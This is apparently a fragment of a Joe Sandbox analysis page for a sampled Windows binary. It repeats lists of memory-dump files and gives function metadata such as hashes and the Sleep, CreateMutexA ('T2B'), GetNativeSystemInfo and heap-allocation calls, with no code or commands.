Associated: 00000000.00000002.1808752663.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808775544.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808799303.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808855974.00000000005DA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808874785.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808956692.00000000005EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809003323.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809026190.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809055759.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809100599.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809180000.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809205324.0000000000625000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809255233.000000000062B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809281642.000000000062C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809308716.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809327495.0000000000634000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809356057.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809411373.0000000000645000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809449161.000000000064C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809496222.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809520177.0000000000655000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809546465.000000000065D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809590670.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809641443.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809670546.0000000000670000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809722543.0000000000679000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809752167.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809752167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809854976.00000000006C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809877324.00000000006C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809930471.00000000006C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809957565.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809980244.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810045560.00000000006DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810066277.00000000006E0000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2B
API String ID: 1464230837-3780520883
Opcode ID: 404bc6d5c61483d1dcbd1fdfb0d3ac9090081549f3042223d93b31dd420004cf
Instruction ID: fd717509c63d38064970a2ed04e45bbde23db4c2433ea4d09da577ef5f3ae23c
Opcode Fuzzy Hash: 404bc6d5c61483d1dcbd1fdfb0d3ac9090081549f3042223d93b31dd420004cf
Instruction Fuzzy Hash: 133127317106089BEB0A9BB8DD89B6DB772AB85318F24861DE054DB3D1C7399D808766

Function 003C9ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 003CA963
CreateMutexA.KERNEL32(00000000,00000000,00423254), ref: 003CA981

Strings

T2B, xrefs: 003CA970

Memory Dump Source

Source File: 00000000.00000002.1808165933.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.1808102383.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808165933.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808400812.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808424639.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808452932.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808599215.0000000000599000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808623845.000000000059B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808647706.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808668774.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808730928.00000000005C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808752663.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808775544.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808799303.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808855974.00000000005DA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808874785.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808956692.00000000005EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809003323.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809026190.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809055759.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809100599.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809180000.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809205324.0000000000625000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809255233.000000000062B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809281642.000000000062C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809308716.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809327495.0000000000634000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809356057.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809411373.0000000000645000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809449161.000000000064C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809496222.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809520177.0000000000655000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809546465.000000000065D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809590670.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809641443.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809670546.0000000000670000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809722543.0000000000679000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809752167.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809752167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809854976.00000000006C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809877324.00000000006C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809930471.00000000006C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809957565.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809980244.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810045560.00000000006DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810066277.00000000006E0000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2B
API String ID: 1464230837-3780520883
Opcode ID: 81120ac35e9596f8aa5fdb4701c514673386b5d35c7889ee7887545a2935ebd4
Instruction ID: 6b919fe16deddf810a22716a66b4d833b4ce6dccd05187404203e4924a19e609
Opcode Fuzzy Hash: 81120ac35e9596f8aa5fdb4701c514673386b5d35c7889ee7887545a2935ebd4
Instruction Fuzzy Hash: B6213A327146049BEB199F68ED89B6CB771EBC1314F20422EE404DB7D1C775AD818751

Function 003CA856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 003CA963
CreateMutexA.KERNEL32(00000000,00000000,00423254), ref: 003CA981

Strings

T2B, xrefs: 003CA970

Memory Dump Source

Source File: 00000000.00000002.1808165933.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.1808102383.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808165933.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808400812.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808424639.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808452932.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808599215.0000000000599000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808623845.000000000059B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808647706.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808668774.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808730928.00000000005C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808752663.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808775544.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808799303.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808855974.00000000005DA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808874785.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808956692.00000000005EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809003323.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809026190.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809055759.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809100599.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809180000.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809205324.0000000000625000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809255233.000000000062B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809281642.000000000062C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809308716.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809327495.0000000000634000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809356057.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809411373.0000000000645000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809449161.000000000064C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809496222.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809520177.0000000000655000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809546465.000000000065D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809590670.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809641443.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809670546.0000000000670000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809722543.0000000000679000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809752167.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809752167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809854976.00000000006C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809877324.00000000006C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809930471.00000000006C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809957565.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809980244.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810045560.00000000006DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810066277.00000000006E0000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2B
API String ID: 1464230837-3780520883
Opcode ID: 324d5054612bda77811b861c72aeb64f1fe811574481026db701823489bd0b08
Instruction ID: 8a14bb1270cf1e80a34d929a3872b50bcf39113cfeebe51f5cfc76ff98f97989
Opcode Fuzzy Hash: 324d5054612bda77811b861c72aeb64f1fe811574481026db701823489bd0b08
Instruction Fuzzy Hash: 9D213D31358B089BEB266B78989BF3DB6719F81308F24491EE444DA2D1CB7A5D818793

Function 003CA34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 003CA963
CreateMutexA.KERNEL32(00000000,00000000,00423254), ref: 003CA981

Strings

T2B, xrefs: 003CA970

Memory Dump Source

Source File: 00000000.00000002.1808165933.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.1808102383.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808165933.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808400812.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808424639.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808452932.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808599215.0000000000599000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808623845.000000000059B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808647706.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808668774.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808730928.00000000005C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808752663.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808775544.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808799303.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808855974.00000000005DA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808874785.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808956692.00000000005EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809003323.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809026190.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809055759.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809100599.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809180000.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809205324.0000000000625000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809255233.000000000062B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809281642.000000000062C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809308716.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809327495.0000000000634000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809356057.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809411373.0000000000645000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809449161.000000000064C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809496222.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809520177.0000000000655000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809546465.000000000065D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809590670.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809641443.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809670546.0000000000670000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809722543.0000000000679000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809752167.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809752167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809854976.00000000006C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809877324.00000000006C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809930471.00000000006C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809957565.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809980244.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810045560.00000000006DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810066277.00000000006E0000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2B
API String ID: 1464230837-3780520883
Opcode ID: 02cbb3fdbef10b243e8b60a13d8d8b1db19b3c589a55e299c5624f2853ff75c2
Instruction ID: 6c56c1f7e9447da54ef72c6a096dee55bb5be17906d2ff238b0ca069e5022d0a
Opcode Fuzzy Hash: 02cbb3fdbef10b243e8b60a13d8d8b1db19b3c589a55e299c5624f2853ff75c2
Instruction Fuzzy Hash: D4216E327146089BEB199F68ED86B6CF771DBC5319F24422DE404DB7D0C775AD808752

Function 003C7D30 Relevance: 1.9, APIs: 1, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 003C7ED3

Memory Dump Source

Source File: 00000000.00000002.1808165933.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.1808102383.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808165933.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808400812.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808424639.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808452932.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808599215.0000000000599000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808623845.000000000059B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808647706.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808668774.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808730928.00000000005C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808752663.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808775544.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808799303.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808855974.00000000005DA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808874785.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808956692.00000000005EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809003323.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809026190.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809055759.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809100599.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809180000.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809205324.0000000000625000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809255233.000000000062B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809281642.000000000062C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809308716.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809327495.0000000000634000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809356057.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809411373.0000000000645000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809449161.000000000064C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809496222.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809520177.0000000000655000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809546465.000000000065D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809590670.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809641443.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809670546.0000000000670000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809722543.0000000000679000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809752167.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809752167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809854976.00000000006C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809877324.00000000006C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809930471.00000000006C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809957565.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809980244.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810045560.00000000006DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810066277.00000000006E0000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 15bf2035e7fc41d87e6361e03e3ec638db631108c3b9ecdf315adcbc7b5c84a1
Instruction ID: f7d380fcd6fc5ce22d4a11ba0dd728c21b742a5d76ee982d3ea667f8e9e77180
Opcode Fuzzy Hash: 15bf2035e7fc41d87e6361e03e3ec638db631108c3b9ecdf315adcbc7b5c84a1
Instruction Fuzzy Hash: B3E14971F00254A7CB26BB28DD0BB9E7A71AB41320FD0429DE405AB3C2DB755F818BC6

Function 003FD82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,003FA813,00000001,00000364,00000006,000000FF,?,003FEE3F,?,00000004,00000000,?,?), ref: 003FD871

Memory Dump Source

Source File: 00000000.00000002.1808165933.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.1808102383.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808165933.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808400812.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808424639.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808452932.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808599215.0000000000599000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808623845.000000000059B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808647706.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808668774.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808730928.00000000005C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808752663.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808775544.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808799303.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808855974.00000000005DA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808874785.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808956692.00000000005EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809003323.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809026190.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
